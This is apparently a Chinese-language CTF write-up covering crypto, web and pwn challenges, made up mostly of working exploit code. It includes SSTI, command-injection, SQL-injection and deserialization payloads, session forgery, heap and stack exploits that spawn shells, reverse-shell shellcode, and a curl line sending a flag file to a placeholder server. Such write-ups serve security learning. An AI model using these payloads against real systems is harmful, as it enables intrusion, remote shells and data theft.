N = 0xBB00128C1C1555DC8FC1CD09B3BB2C3EFEAAE016FCB336491BD022F83A10A501175C044843DBEC0290C5F75D9A93710246361E4822331348E9BF40FC6810D5FC7315F37EB8F06FB3F0C0E9F63C2C207C29F367DC45EEF2E5962EFF35634B7A29D913A59CD0918FA395571D3901F8ABD83322BD17B60FD0180358B7E36271ADCFC1F9105B41DA6950A17DBA536A2B600F2DC35E88C4A9DD208AD85340DE4D3C6025D1BD6E03E9449F83AFA28B9FF814BD5662018BE9170B2205F38CF3B67BA5909C81267DAA711FCDB8C7844BBC943506E33F5F72F603119526072EFBC5CEAE785F2AF634E6C7D2DD0D51D6CFD34A3BC2B15A752918D4090D2CA253DF4EF47B8B
e = 0x10001
P = 0x199E1926F2D2D5967B1D230B33DE0A249F958E5B962F8B82CA042970180FE1505607FE4C8CDE04BC6D53AEC53B4AA25255AE67051D6ED9B602B1B19E128835B20227DB7EE19CF88660A50459108750F8B96C71847E4F38A79772A089AA46666404FD671CA17EA36EE9F401B4083F9CA76F5217588C6A15BABA7EB4A0934E2026937812C96E2A5853C0E5A65231F3EB9FDC283E4177A97143FE1A3764DC87FD6D681F51F49F6EED5AB7DDC2A1DA7206F77B8C7922C5F4A5CFA916B743CEEDA943BC73D821D2F12354828817FF73BCD5800ED201C5AC66FA82DF931C5BBC76E03E48720742FFE673B7786E40F243D7A0816C71EB641E5D58531242F7F5CFEF60E5B
g = 2

io = remote("chal.imaginaryctf.org", 42012)
# io = process('python')
io.recvuntil(b"Here's my encrypted flag: ")
encflag = int(io.recvlineS().strip(), 16)


def sign_dec(ct):
global io
try:
io.sendlineafter(b"> ", hex(ct))
io.recvuntil(b"r: ")
r = int(io.recvlineS().strip())
io.recvuntil(b"s: ")
s = int(io.recvlineS().strip())
return r, s
except:
io.close()
io = remote("chal.imaginaryctf.org", 42012)
return sign_dec(ct)


from gmpy2 import powmod
import hashlib
from Crypto.Util.number import bytes_to_long


def H(x):
return bytes_to_long(
hashlib.sha512(b"domain" + x).digest()
+ hashlib.sha512(b"separation" + x).digest()
)


def HH(r):
return H(str(r).encode() + b"Haha, arbitrary message")


def oracle(x):
# s = k - x * H(r || d)
r, s = sign_dec(x)
ep = HH(r) % 2
if ep % 2 == 0:
return
# s = k - x (mod 2)
# x = k - s (mod 2)
# kronecker(g, P) = -1
kp = 1 if kronecker(r, P) == -1 else 0
sp = s % 2
return (kp - sp) % 2


def crack(c, n, e, oracle, lim=1000):
c0 = c
c2 = pow(2, e, n)
l, r = 0, n
while r - l > lim:
# Due to rounding problem, it can't really get an accurate answer...
mid = (l + r) // 2
ret = oracle((c2 * c) % n)
if ret is None:
continue
if ret == 0:
r = mid
else:
l = mid
c = (c2 * c) % n
print(r - l)
for x in range(l, r + 1):
if powmod(x, e, n) == c0:
return x


print(long_to_bytes(crack(encflag, N, e, oracle, 10000)))
# ictf{gr0up5_should_b3_pr1me_0rd3r_dummy}

補個出題者的解,裡面有整理其他的不同做法: ZKPoD

Web

Roos World

source code 裡面有個 jsfuck,直接執行就有 flag。直接打開 console 也可以。

Build-A-Website

這題是有 blacklist 的 Jinja2 SSTI,讓我學到了在 template 裡面的時候 attribute 也可以用 dict 的 syntax 去存取。

payload:

1
2
3
<pre>
{{request["__cl"+"a"+"ss__"].mro()[-1]['__subcla'+'sses__']()[84].load_module('subprocess').check_output(['cat','flag.txt'])}}
</pre>

SaaS

題目有 os.popen 的 command injection,有 blacklist,大致上如下:

1
2
3
blacklist = ["flag", "cat", "|", "&", ";", "`", "$"]
# ...
os.popen(f"sed {request.args['query']} stuff.txt").read()

繞過的方法就是用 \nheadf* 繞過 filter 而已: ?query=%0ahead%20f*

Awkward_Bypass

這題是一個有一大堆 sql keyword blacklist 的 sql injection,不過它的方法是把 blacklist 中的字直接 replace 成空字串而非直接擋掉,所以可以利用 UNUNIONION 會變成 UNION 這個方法去繞過,剩下的部分就是 blind sql injection。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import httpx

client = httpx.Client(http2=True)


def login(username, password):
resp = client.post(
"https://awkward-bypass.chal.imaginaryctf.org/user",
params={"username": username, "password": password},
allow_redirects=False,
)
return "Error" not in resp.text


def bypass(s):
return "WITH".join(s)


def sqli(s):
return login("a", bypass(s))


def binary_search(f, l=0, r=100):
while True:
print(l, r)
if l == r:
return l
m = (l + r) // 2
if f(m):
r = m
else:
l = m + 1


def get_string_len(s, mx=100):
return binary_search(
lambda m: sqli(f"' union select 1,2 where length(({s}))<={m} and ''='"), r=mx
)


def get_string(s):
l = get_string_len(s)
ret = ""
for i in range(1, l + 1):
c = binary_search(
lambda m: sqli(
f"' union select 1,2 where unicode(substr(({s}),{i},{i}))<={m} and ''='"
),
l=32,
r=128,
)
ret += chr(c)
print(ret)
return ret


# print(
# get_string(
# "SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'"
# )
# )
# -> users

# print(
# get_string(
# "SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'"
# )
# )
# -> CREATE TABLE users (username, password)

print(get_string("SELECT group_concat(password) FROM users"))
# -> ictf{n1c3_fil73r_byp@ss_7130676d}

source code 裡面有好幾個帳號以及密碼的 sha512,其中有幾個 hash 可以利用 CrackStation 查表得到原本的密碼,其中不包含 admin 的密碼。只要能以 admin 登入就能獲得 flag。

session 的部份是利用 AES-CTR 把 username 先 pad 之後加密,之後在 ciphertext 的前面 prepend nonce 作為 session。檢測 nonce 的時候也就拿 cookie 中的 nonce 去初始化 AES-CTR,然後解密後再 unpad 得到 username。

AES-CTR 的加密公式為: ,解密的時候步驟也是一樣的。

解法就是利用已知的 plaintext 和 ciphertext xor 之後得到 ,然後把它和目標 (padded 過的 admin) 做 xor 就能得到需要的 ciphertext,前面 prepend nonce 之後就能得到目標的 session。

生成腳本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.Padding import pad

# ImaginaryCTFUser idk
# Eth007 supersecure
# just_a_normal_user password
# firepwny pwned


def xor(a, b):
return bytes(x ^ y for x, y in zip(a, b))


username = b"firepwny"
token = bytes.fromhex("2023f20686ddab50dd0491b4861ad8bfaf5713f665fab499")
nonce, data = token[:8], token[8:]
key = xor(data, pad(username, 16))
newdata = xor(key, pad(b"admin", 16))
newtoken = nonce + newdata
print(newtoken.hex())

NumHead

這題我覺得就只有程式碼比較長點,比較難 trace code 以外是蠻簡單的。目標是要得到 1000 元可以用 api 買 flag。

首先先拿到 token:

1
curl https://numhead.chal.imaginaryctf.org/api/user/new-token -X POST -H "Authorization: 0nlyL33tHax0rsAll0w3d"

然後可以注意到它有個奇怪的 /api/user/nothing-here,對它每次發送不同數量的 header 就可以得到 100 元,自己手動重複十次後再買 flag 即可。

1
2
curl -H "Authorization: d6eeba22e8404e5d80fe390931f1957e" https://numhead.chal.imaginaryctf.org/api/user/nothing-here -X POST -H "a: 1" # Add some header and repeat
curl -H "Authorization: d6eeba22e8404e5d80fe390931f1957e" https://numhead.chal.imaginaryctf.org/api/admin/flag # Get flag

Destructoid

直接檢視會看到: ecruos? ym dnif uoy naC,反過來是 Can you find my ?source,所以在 url 後面加上 ?source 就能看到 source code。

我一開始直接用眼睛看,以為是 Can you find my source?,所以沒發現能看到 source code...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
$printflag = false;

class X {
function __construct($cleanup) {
if ($cleanup === "flag") {
die("NO!\n");
}
$this->cleanup = $cleanup;
}

function __toString() {
return $this->cleanup;
}

function __destruct() {
global $printflag;
if ($this->cleanup !== "flag" && $this->cleanup !== "noflag") {
die("No!\n");
}
include $this->cleanup . ".php";
if ($printflag) {
echo $FLAG . "\n";
}
}
}

class Y {
function __wakeup() {
echo $this->secret . "\n";
}

function __toString() {
global $printflag;
$printflag = true;
return (new X($this->secret))->cleanup;
}
}

if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}
echo "ecruos? ym dnif uoy naC\n";
if (isset($_SERVER['HTTP_X_PAYLOAD'])) {
unserialize(base64_decode($_SERVER['HTTP_X_PAYLOAD']));
}

所以目標就用反序列化繞過檢測去得到 flag,我的 payload 生成如下:

1
2
3
4
5
6
7
8
<?php
class X {}
class Y {}
$obj = new Y;
$obj->secret = new Y;
$obj->secret->secret = new X;
$obj->secret->secret->cleanup = "flag";
echo base64_encode(serialize($obj));

主要發現了 __destructdie 之後還是會繼續執行,因為輸出如下:

1
2
3
4
ecruos? ym dnif uoy naC
flag
No!
ictf{d3s3r14l1z4t10n_4nd_d3struct10n}

還有別人的 payload 用的比較簡單,直接構造多個物件就好了:

1
2
3
4
<?php
$y = new Y("flag");
$x = New X("flag");
echo serialize([$y, new Y($y), $x]);

Sinking Calculator

這題一樣是 Jinja2 SSTI,沒有額外的 blacklist,但是有長度限制要 79 字以內。payload 的部份是直接幫你用 {{` 和 `}} 包裝好了,不用另外浪費字元。輸出的地方它會把所有非 0123456789- 字元的字給移除掉。然後 request.argsrequest.headersrequest.cookies 都被清除了。

我的方法是發現 request.data 是 HTTP 的 body,flask 那邊就算是 GET request 一樣也會接受 body 的 data。

完整的 payload:

1
curl "https://sinking-calculator.chal.imaginaryctf.org/calc?query=request.application.__globals__.__builtins__%5B%27eval%27%5D%28request.data%29" -X GET --data-raw "__import__('os').system('curl http://YOUR_SERVER -F f=@flag')"

作者的解答是這樣:

1
1.__class__(g.pop.__globals__.__builtins__.open("flag","rb").read().hex(),16)

這讓我學到了原來 Flask 中還有個 flask.g 的東西能用,學到了一課。另一個拿 __globals__ 的方法是用 url_for.__globals__

Password Checker

這題是一個混淆過的 js 寫的 password checker,自己去掉部分混淆之後可以看到最重要的部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
for (var c = y, n = '3|2|0|1|4'.split('|'), C = 0; ; ) {
switch (n[C++]) {
case h[45]:
var u = 0
continue
case h[46]:
for (var v = 0; v < b.length; v++) {
;(A += b.charCodeAt(v)), (B ^= b.charCodeAt(v)), (u = (u << 5) - u + b.charCodeAt(v))
}
continue
case h[47]:
var B = 0
continue
case h[48]:
var A = 0
continue
case h[49]:
console.log(A, B, u)
!/[^ZYPH3NAFUR1GT_BMKLE.0]/.test(b) &&
2024 == A &&
126 == B &&
-685590366 == u &&
1 == b.charCodeAt(0) - b.charCodeAt(1) &&
277 == Math.floor((b.charCodeAt(1) * b.charCodeAt(2) * b.charCodeAt(3)) / 1846) &&
114 == b.charCodeAt(4) + b.charCodeAt(5) - b.charCodeAt(6) + b.charCodeAt(7) &&
3249 == Math.floor(((b.charCodeAt(8) * b.charCodeAt(9)) / b.charCodeAt(10)) * b.charCodeAt(11)) &&
1 == Math.floor((b.charCodeAt(13) / b.charCodeAt(12) / b.charCodeAt(14)) * b.charCodeAt(15)) &&
b.charCodeAt(16) &&
b.charCodeAt(18) == 'ZYPH3NAFUR1GT_BMKLE.0'.length << 2 &&
b.charCodeAt(6) == b.charCodeAt(17) &&
46 == Math.floor((b.charCodeAt(19) * b.charCodeAt(20)) / b.charCodeAt(21)) &&
116 == b.charCodeAt(22) + b.charCodeAt(23) - b.charCodeAt(24) &&
138 == b.charCodeAt(25) + b.charCodeAt(26) + b.charCodeAt(27) &&
alert(c(205))
continue
}
break
}

這邊的第一個想法一定是用 z3 去破,只是很快就會發現 z3 似乎負荷不了這麼大的 search space,所以我在賽中都沒把這題解開。後來去看了這篇才知道這題需要自己另外暴力+通靈出一部份的 password,然後再用 z3 找才能找了出來...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from z3 import *

flag = [BitVec(f"f_{i}", 32) for i in range(28)]
# sol = Solver()
set_param("parallel.enable", True)
set_param("parallel.threads.max", 12)
sol = SolverFor("QF_BV") # It is said to be faster for fixed sized bitvectors

A = 0
B = 0
u = 0
for c in flag:
sol.add(Or([c == x for x in b"ZYPH3NAFUR1GT_BMKLE.0"]))
A += c
B ^= c
# u = (u << 5) - u + c
u = 31 * u + c


def floor_div(top, bottom, res):
# floor(top / bottom) == res
sol.add(top >= bottom * res)
sol.add(top < bottom * res + bottom)


sol.add(A == 2024)
sol.add(B == 126)
sol.add(u == BitVecVal(-685590366, 32))
sol.add(1 == flag[0] - flag[1])
# sol.add(277 == flag[1] * flag[2] * flag[3] / 1846)
floor_div(flag[1] * flag[2] * flag[3], 1846, 277)
sol.add(114 == flag[4] + flag[5] - flag[6] + flag[7])
# sol.add(3249 == ((flag[8] * flag[9]) / flag[10]) * flag[11])
floor_div(flag[8] * flag[9] * flag[11], flag[10], 3249)
# sol.add(1 == flag[13] / flag[12] / flag[14] * flag[15])
floor_div(flag[13] * flag[15], flag[12] * flag[14], 1)
sol.add(flag[18] == len("ZYPH3NAFUR1GT_BMKLE.0") << 2)
sol.add(flag[6] == flag[17])
# sol.add(46 == flag[19] * flag[20] / flag[21])
floor_div(flag[19] * flag[20], flag[21], 46)
sol.add(116 == flag[22] + flag[23] - flag[24])
sol.add(138 == flag[25] + flag[26] + flag[27])

# Some burteforcing to make the search space smaller: https://wrecktheline.com/writeups/imaginary-2021/

sol.add(flag[27] == ord("."))
sol.add(flag[26] == ord("."))
sol.add(flag[25] == ord("."))
sol.add(flag[24] == ord("3"))
sol.add(flag[23] == ord("R"))
sol.add(flag[22] == ord("U"))
sol.add(flag[21] == ord("T"))
sol.add(flag[20] == ord("R"))
sol.add(flag[19] == ord("0"))
sol.add(flag[18] == ord("T"))
sol.add(flag[17] == ord("_"))

sol.add(flag[0] == ord("Z"))
sol.add(flag[1] == ord("Y"))
sol.add(flag[2] == ord("P"))
sol.add(flag[3] == ord("H"))
sol.add(flag[4] == ord("3"))
sol.add(flag[5] == ord("N"))
sol.add(flag[6] == ord("_"))
sol.add(flag[7] == ord("P"))

print("solving...")

assert sol.check() == sat

while sol.check() == sat:
m = sol.model()
ans = bytes([m[x].as_long() for x in flag])
print(ans)
sol.add(Or([a != b for a, b in zip(ans, flag)]))

Pwn

stackoverflow

沒什麼好說的,直接 buffer overflow 改 local variable 它就直接給你 shell 了。

input base64:

1
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWZ0Y2kAAAAACg==

Fake Canary

這題個 canary 是它自己弄的,完全 static 所以很容易繞,目標是 return 到它本身就有的 backdoor 函數。比較麻煩的地方是直接 return 到該函數在 local 可以成功,但是 remote 的版本似乎是 ubuntu 18,它需要 16 byte 對齊的 stack address,我是直接讓它 return 到 backdoor 函數跳過 function prologue 的地方就成功了。

input base64:

1
2
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYe++rd4AAAAAKQdAAAAAAAAp
B0AAAAAAACkHQAAAAAAACg==

The First Fit

source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>

int main()
{
int choice, choice2;
char *a = malloc(128);
char *b;
setvbuf(stdout,NULL,2,0);
setvbuf(stdin,NULL,2,0);
while (1) {
printf("a is at %p\n", a);
printf("b is at %p\n", b);
printf("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ");
scanf("%d", &choice);
switch(choice) {
case 1:
printf("What do I malloc?\n(1) a\n(2) b\n>> ");
scanf("%d", &choice2);
if (choice2 == 1)
a = malloc(128);
else if (choice2 == 2)
b = malloc(128);
break;
case 2:
printf("What do I free?\n(1) a\n(2) b\n>> ");
scanf("%d", &choice2);
if (choice2 == 1)
free(a);
else if (choice2 == 2)
free(b);
break;
case 3: printf(">> "); scanf("%8s", a); break;
case 4: system((char*)b); break;
default: return -1;
}
}
return 0;
}

可以看到可以任意對 abmallocfree,但是我們只能對 a 寫入,和 system(b)

這題需要的觀念是 UAF 以及 malloc 會拿第一個能用的 freed chunk 來用這個性質而已,也就是 first fit。

  1. free a
  2. malloc b (now a==b)
  3. write "/bin/sh" to a
  4. system b

String Editor 1

此題一開始就 leak 了 &system,所以 libc 已經知道了。接下來它有個固定的 heap buffer,你可以對它的任意 index 寫入 char,沒有任何檢查,寫入之後還會 leak buffer+idx 的 address。再來是當 idx == 15 的時候,它會把 buffer free 掉再 malloc,然後重新初始化字串。

首先是利用 libc 和 buffer address,可以計算出到 __free_hook 的 offset,在裡面寫入 system 後再把 buffer 本身寫成 /bin/sh\0,然後 free 掉就可以 get shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"

# io = process("./string_editor_1")
io = remote("chal.imaginaryctf.org", 42004)


def edit(idx, x):
io.sendlineafter(b"What character would you like to edit?", str(idx))
io.sendlineafter(b"What character should be in that index?", chr(x))


def recvdebug():
io.recvuntil(b"DEBUG: ")
return int(io.recvlineS().strip(), 16)


def writebytes(idx, b: bytes):
for i in range(len(b)):
edit(idx + i, b[i])


io.recvuntil(b"But first, a word from our sponsors: ")
system = int(io.recvlineS().strip(), 16)
libc_base = system - 0x55410
print("libc_base", hex(libc_base))
__free_hook = libc_base + 0x1EEB28
print(hex(__free_hook))

edit(0, 0x20)
ptr = recvdebug()
print(hex(ptr))

writebytes(__free_hook - ptr, p64(system))
writebytes(0, b"/bin/sh\0")

# free
io.sendlineafter(b"What character would you like to edit?", "15")

io.interactive()

linonophobia

這題它會先把 GOT 裡面的 printf 寫成 puts,然後再做這些事:

1
2
3
4
char buf[264];
read(0, buf, 0x200);
printf(buf); // this is actually puts
read(0, buf, 0x200);

題目顯然有個 buffer overflow,不過這題有 NX, Canary 所以可以先用第一次的 printf(buf) 去 leak canary。接下來用 ROP 去 call plt 中的 puts,輸出 GOT 中任意函數如 read 的位置得到 libc,最後可以再給他回到 main 再來一次。

第二次 rop 就直接 ret2libc 即可,像是我偷懶直接用 one gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"

pop_rdi = 0x400873
puts_plt = 0x4005C0
read_got = 0x601028
main = 0x4006B7

# io = process("./linonophobia")
io = remote("chal.imaginaryctf.org", 42006)
io.sendline("a" * 260 + "----")
io.recvuntil(b"----")
canary = u64(io.recv(8)) & ~0xFF
print(hex(canary))
io.sendline(
b"a" * 264 + p64(canary) + p64(0) + flat([pop_rdi, read_got, puts_plt, main])
)
io.recv(1)
libc_base = int.from_bytes(io.recvline()[:-1], byteorder="little") - 0x111130
print(hex(libc_base))

pop_r12_r13_r14_r15 = 0x40086C
gadget = libc_base + 0xE6C7E # execve("/bin/sh", r15, r12)

io.sendline("a" * 260 + "----")
io.recvuntil(b"----")
canary = u64(io.recv(8)) & ~0xFF
print(hex(canary))
io.sendline(
b"a" * 264 + p64(canary) + p64(0) + flat([pop_r12_r13_r14_r15, 0, 0, 0, 0, gadget])
)
io.interactive()

Speedrun

這題會隨機生成下方的程式:

1
2
3
4
5
6
7
8
9
#include <stdio.h>

int main(void) {
char inp[RANDOM_VALUE_BETWEEN_20_AND_1000];
setvbuf(stdout,NULL,2,0);
setvbuf(stdin,NULL,2,0);
gets(inp);
puts("Thanks!");
}

compile 時沒有 canary 也沒有 PIE,它會直接把 binary 用 base64 encode 之後給你,然後要你在 10 秒鐘內 exploit 這個 binary。

顯然有 overflow,不過那個 offset 是動態的,我的做法是直接讀 binary 找到 instruction 的 index,然後把 offset 讀出來。

而 pwn 的部分本身我先讓它用 puts 去輸出 GOT 中的東西得到 libc,之後也是 ret2libc 而已。

local exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import sys
from pwn import *


def exploit(io, fname):
context.arch = "amd64"

with open(fname, "rb") as f:
bin = f.read()
i = bin.index(b"\x48\x81\xec") + 3 # sub rsp, sz
sz = int.from_bytes(bin[i : i + 4], byteorder="little")
print(hex(sz))

elf = ELF(fname)
rop = ROP(elf)

pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
puts_plt = elf.plt["puts"]
main = elf.sym["main"]

io.sendline(b"a" * (sz + 8) + flat([pop_rdi, elf.got["puts"], puts_plt, main]))
io.recvuntil(b"Thanks!\n")
puts = int.from_bytes(io.recv(6), byteorder="little")
libc_base = puts - 0x071910
print(hex(libc_base))

libc = ELF("./libc6_2.28-10_amd64.so")
libc.address = libc_base
binsh = next(libc.search(b"/bin/sh"))
libc_rop = ROP(libc)
libc_rop.call("execve", [binsh, 0, 0])
print(libc_rop.dump())
chain = libc_rop.chain()
io.sendline(b"a" * (sz + 8) + chain)
io.interactive()


if __name__ == "__main__":
if len(sys.argv) < 2:
exit(1)
io = process(sys.argv[1])
exploit(io, sys.argv[1])

remote exploit:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import remote
from base64 import b64decode
from exploit import exploit

io = remote("chal.imaginaryctf.org", 42020)
io.recvuntil(b"---------------------------BEGIN DATA---------------------------")
footer = b"----------------------------END DATA----------------------------"
data = io.recvuntil(footer)[: -len(footer)]
with open("binary", "wb") as f:
f.write(b64decode(data))
print("done writing binary")
exploit(io, "binary")

String Editor 2

此題有個在 bss 的 string,一樣可以和 String Editor 2 一樣去 edit 它的任意一個字元,不過這次有限制 index <= 15,它也沒有先 leak 任何 address 給你。保護的話只有開 NX。

index == 15 的時候可以進入一個選單去:

  1. puts(target)
  2. strcpy(target, "***************")
  3. exit(0)

關鍵在於 index 是 signed,利用負數可以從 bss 寫到 GOT table,然後我是先把 GOT 中的 strcpy 寫成 printf,然後利用呼叫 strcpy(target, "***************") 去用 format string exploit leak 出 libc。

得到 libc 之後就再把 strcpy 寫成 system,然後把字串換成 /bin/sh\0 之後就成功了。

我用 strcpy 而非 puts 的原因是 puts 在程式的其他許多地方都有用到,直接蓋掉會炸,但 strcpy 只有出現在那裡而已。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"

# io = process("./string_editor_2")
io = remote("chal.imaginaryctf.org", 42005)


def edit(idx, x):
io.sendlineafter(b"What character would you like to edit?", str(idx))
io.sendlineafter(b"What character should be in that index?", chr(x))


def writebytes(idx, b: bytes):
for i in range(len(b)):
edit(idx + i, b[i])


target = 0x601080
strcpy_got = 0x601018
printf_plt = 0x400600

writebytes(strcpy_got - target, p64(printf_plt))
writebytes(0, b"%13$p")
io.sendlineafter(b"What character would you like to edit?", "15")
io.sendlineafter(b"3. Exit", "2")
io.recvuntil(b"0x")
libc_base = int(io.recv(12), 16) - 0x270B3
print(hex(libc_base))

system = libc_base + 0x55410
writebytes(strcpy_got - target, p64(system))
writebytes(0, b"/bin/sh\0")
io.sendlineafter(b"What character would you like to edit?", "15")
io.sendlineafter(b"3. Exit", "2")

io.interactive()

Memory pile

題目有個在 bss 的 array,專門放 pointer,可以自己選擇 array 的 index 去放 malloc(0x20) 的結果,index 沒檢查。其他還可以 free array 上任意 index 的 address,或是對那些 address 去寫入 (沒有 overflow)。

關鍵的弱點是在於它 free 之後沒有把 array[index] 設為 0,所以有 UAF。利用方法是利用寫入 tcache 的 next pointer 可以控制 malloc 的 return value,所以對 __free_hook 寫入 system 之後 free 有 /bin/sh 的 address 即可。

PS: libc 位置它一開始就 leak 給你了,然後保護的部分是 Canary NX PIERelRO Full 都全開了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from rpyc import lib

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"

# io = process('./memory_pile')
# io = gdb.debug("./memory_pile", "c")
io = remote("chal.imaginaryctf.org", 42007)

io.recvuntil(b"I'll even give you a present, if you manage to unwrap it...\n")
printf = int(io.recvlineS().strip(), 16)
libc_base = printf - 0x64F00
print(hex(libc_base))
__free_hook = libc_base + 0x3ED8E8
system = libc_base + 0x4F4E0


def acquire(i):
io.sendlineafter(b"Choose wisely > ", "1")
io.sendlineafter(b"With great power comes great responsibility > ", str(i))


def release(i):
io.sendlineafter(b"Choose wisely > ", "2")
io.sendlineafter(b"With great power comes great responsibility > ", str(i))


def fill(i, b):
io.sendlineafter(b"Choose wisely > ", "3")
io.sendlineafter(b"With great power comes great responsibility > ", str(i))
io.sendlineafter(b"Let me have it, boss > ", b)


acquire(0)
acquire(1)
release(1)
release(0)
# tcache: 0 -> 1
fill(0, p64(__free_hook)) # write next pointer
acquire(2) # put 0 to 2
acquire(0) # now 0 is addr
fill(0, p64(system)) # write system to __free_hook
fill(2, "/bin/sh")
release(2) # free("/bin/sh")
io.interactive()

*notweb

這題有個用 C 簡單實作的 web server,每一個收到一個 request 都會 fork 之後進到一個 respond 函數中。在裡面可以看到它會把 HTTP Request 把前面的 GET / 和後面的 HTTP 去掉,中間的部分當作 path copy 到 stack 上的一個 buffer 之中。在裡面可以看到它有個 check_len 函數會檢查 path 的長度是否會 <= 99

這題的漏洞在於它的 check_len 接受的是 uint8,但是傳進 memcpy 的長度是 int,所以只要讓長度 mod 256 小於等於 99 的 payload 都可以 buffer overflow。

buffer overflow 之後會發現程式會炸,因為會把 stack 上一個 heap address 給蓋掉,而它會在 return 前 free 所以要把它好好的填為 0 才行。

接下來這個程式什麼保護都沒開,連 NX 都沒有,不過我們並不知道 stack address 在哪。這個可以很容易發現它有個特殊的 gadget jmp rsp,所以在 ret 的地方寫入 jmp rsp + shellcode 之後就行了。

下一個難點是它是個 server,沒有 stdin 可以 get shell,我這邊是用 shellcraft 去生成 reverse shell 的 payload 就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.arch = "amd64"

sh = asm(
shellcraft.connect("127.0.0.1", 3535) + shellcraft.findpeersh()
) # reverse shell shellcode
payload = b"a" * 160 + b"\0" * 8 + b"b" * 64 + b"\x5e\x10\x40\x00\x00\x00\x00\x00" + sh
payload += b"c" * (256 - len(payload) % 256)
io = remote("localhost", 8080)
io.send(b"GET /" + payload + b" HTTP")
io.interactive()

inkaphobia

這題主程式一開始會把一個 stack 上的 address 傳到一個 dorng 的函數裡面,那個函數可以讓你輸入六個一定範圍以內的質數,然後給你 address modulo 那個數字的結果。所以我們可以範圍內最大的六個質數,然後用 CRT 算出 address modulo 六個質數的乘積的結果。再來是利用 64 bit 的 stack address 都是 0x7ff 的性質,會發現有很高機率可以直接正確的找出那個 address。

接下來離開 dorng 函數之後會讀 512 字元進來,然後直接用 printf(buf) 讓你可以用 format string exploit。首先,這題的保護是 NX, Canary 和 RelRO Full,所以我先用 format string 去 leak 一個 libc address,然後也同時 return 回 main 再來一次。

第二次進 main 的時候可以利用 format string 對 ret 寫入 libc 中的 one gadget 直接拿 shell 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
from sage.all import crt

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"


# io = process("./inkaphobia")
io = remote("chal.imaginaryctf.org", 42008)


def get_mod(m):
io.sendlineafter(b"Enter max value: ", str(m))
io.recvuntil(b"Random number: ")
return int(io.recvlineS().strip())


def get_addr():
ps = [101, 103, 107, 109, 113, 127]
pps = 1741209542339 # product(ps)
rs = [get_mod(x) for x in ps]
t = int(crt(rs, ps))
for i in range(200):
h = hex(t + pps * i)
if "0x7ff" in h:
return t + pps * i


main = 0x400977
addr = get_addr()
ret = addr + 0x21C
print("ret 1", hex(ret))

# write lowest bit to 0x99 to enter main again
payload = b"a" * 0x99 + b"%30$hhn"
payload = payload + b"a" * (8 - len(payload) % 8) + b"%75$p " + p64(ret)
io.sendline(payload)
io.recvuntil(b"0x")
libc_base = int(io.recv(12).strip(), 16) - 0x270B3
print("libc_base", hex(libc_base))

gadget = libc_base + 0xE6C81
print("gadget", hex(gadget))


main = 0x400977
addr = get_addr()
ret = addr + 0x21C
print("ret 2", hex(ret))

# only writing lower 3 bytes are enough
to_write = [
(ret, gadget & 0xFF),
(ret + 1, (gadget >> 8) & 0xFF),
(ret + 2, (gadget >> 16) & 0xFF),
]
to_write = sorted(to_write, key=lambda x: x[1])
for addr, val in to_write:
print("to write", hex(addr), hex(val))

chk1 = b"a" * to_write[0][1]
chk2 = b"b" * (to_write[1][1] - to_write[0][1])
chk3 = b"c" * (to_write[2][1] - to_write[1][1])

payload = chk1 + b"%40$hhn" + chk2 + b"%41$hhn" + chk3 + b"%42$hhn"
payload = payload + (0x100 - len(payload)) * b"x"
payload = payload + p64(to_write[0][0]) + p64(to_write[1][0]) + p64(to_write[2][0])
io.sendline(payload)
